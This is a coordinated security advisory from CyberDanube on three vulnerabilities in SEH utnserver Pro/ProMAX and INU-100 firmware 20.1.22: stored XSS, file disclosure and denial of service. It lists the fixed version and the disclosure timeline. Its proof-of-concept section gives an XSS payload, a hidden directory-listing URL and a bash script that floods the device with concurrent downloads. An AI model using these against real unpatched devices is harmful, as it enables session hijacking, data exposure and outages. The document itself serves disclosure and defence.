SEH utnserver Pro/ProMAX / INU-100 20.1.22 XSS / DoS / File Disclosure

CyberDanube Security Research 20240604-0

            title| Multiple Vulnerabilities  
          product| SEH utnserver Pro/ProMAX / INU-100  

vulnerable version| 20.1.22
fixed version| 20.1.28
CVE number| CVE-2024-5420, CVE-2024-5421, CVE-2024-5422
impact| High
homepage| https://www.seh-technology.com/
found| 2024-03-04
by| T. Weber (Office Vienna)
| CyberDanube Security Research
| Vienna | St. Pölten
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| https://www.cyberdanube.com

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Vendor description

“We are SEH from Bielefeld - manufacturer of high-quality network solutions.
With over 35 years of experience in the fields of printing and networks, we
offer our customers a broad and high-level expertise in solutions for all types
of business environments.”

Source: https://www.seh-technology.com/us/company/about-us.html

Vulnerable versions

utnserver Pro / 20.1.22
utnserver ProMAX / 20.1.22
INU-100 / 20.1.22

Vulnerability overview

1. Stored Cross-Site Scripting (CVE-2024-5420)
   A Stored Cross-Site Scripting vulnerability was identified in the web interface
   of the device. Multiple parameters, e.g. the device description, can be abused
   to inject JavaScript code. An attacker can exploit this vulnerability by luring
   a victim to visit a malicious website. Furthermore, it is possible to hijack
   the session of the attacked user.

2. Authenticated File Disclosure (CVE-2024-5421)
   Files and content of directories can be disclosed by integrated functions of
   the device.

3. Denial of Service (CVE-2024-5422)
   A Denial-of-Service vulnerability has been identified in the web interface of
   the device. This can be triggered by sending a lot of requests that trigger
   serial interface access on the device.

Proof of Concept

1. Stored Cross-Site Scripting (CVE-2024-5420)
   By accessing to the following URL, an attacker can modify the device
   description:
   http://$IP/device/description_en.html

By using malicious JavaScript payload, it is possible to execute arbitrary
code. This snippet demonstrates such a payload:
"><script>alert(document.location)</script>

Saving this text to the device description leads to a persistent cross-site
scripting. Therefore, everyone who openes the device description executes the
injected code in the context of the own browser.

2. Authenticated File Disclosure (CVE-2024-5421)
   A hidden function in the web-interface of the device can be used to disclose
   directories and files on operating system level. The function can be accessed
   directly via the browser:

http://$IP/info/dir?/

This lists the current directory and provides the files to be downloaded.

3. Denial of Service (CVE-2024-5422)
   For triggering a denial of service on the device, multiple file descriptors
   are opened by using the following script:

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#!/bin/bash
echo “Parameters: $1 $2”
last_iter=$(($2 - 1))
for ((i=1; i<=$2; i++))
do
echo "[$i] Downloading application binary"
if [[ “$i” == “$last_iter” ]];then
curl http://$1/info/file?/application --output ./file_${i}.txt &> /dev/null
else
curl http://$1/info/file?/application --output ./file_${i}.txt &> /dev/null &
fi
done

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The vulnerabilities were manually verified on an emulated device by using the
MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).

Solution

Install firmware version 20.1.28 to fix the vulnerabilities.

Workaround

None

Recommendation

CyberDanube recommends SEH Computertechnik customers to upgrade the firmware to
the latest version available.

Contact Timeline

2024-03-11: Contacting SEH Computertechnik. Received reply from support. Sent
advisory to support.
2024-03-20: Asked for an update. Contact stated, that an internal timeline will
be defined.
2024-04-10: Asked for an update. Contact stated, that the vulnerabilities will
be patched soon.
2024-04-16: Contact sent link to patched firmware release candidate.
2024-05-31: Notified SEH Computertechnik that advisory will be released first
week of June. Received confirmation from SEH Computertechnik.
2024-06-04: Coordinated release of security advisory.

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EOF T. Weber / @2024